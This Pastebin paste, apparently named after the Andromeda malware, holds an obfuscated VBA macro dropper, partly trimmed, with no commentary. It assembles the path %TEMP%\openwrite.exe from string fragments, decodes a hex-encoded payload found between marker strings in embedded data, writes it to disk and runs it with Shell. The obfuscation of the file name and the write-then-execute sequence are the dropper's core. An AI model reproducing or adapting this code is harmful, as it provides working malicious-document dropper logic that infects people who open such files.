Advertisement
Guest User

andromeda

a guest
Apr 21st, 2015
197
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.64 KB | None | 0 0
  1. strPrompt = "Ask Your Question Here, OK?"
  2. strTitle = "My Tite"
  3. strTitle = "MP"
  4. TmpFile = Environ("TE" & strTitle)
  5. strTitle = "xe"
  6. TmpName = TmpFile & "openwrite.e" & strTitle
  7. /* removed parts for better readability .*/
  8. strTitle = "78"
  9. Pos = InStr(12, Data, "56" & strTitle)
  10. Pos22 = InStr(12, Data, "9999" & strTitle)
  11. ByteWritten = Pos + 2 + 2
  12.  
  13. InputFile = FreeFile
  14. #Open TmpName For Binary Lock Write As #InputFile
  15. While (ByteWritten < Pos22)
  16. Symbol = Mid(Data, ByteWritten, 2)
  17. strTitle = "H"
  18. Put #InputFile, , CByte("&" & strTitle & Symbol)
  19. ByteWritten = ByteWritten + 3 - 1
  20. Wend
  21. Close #InputFile
  22. Shell TmpName, 4 - 3
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement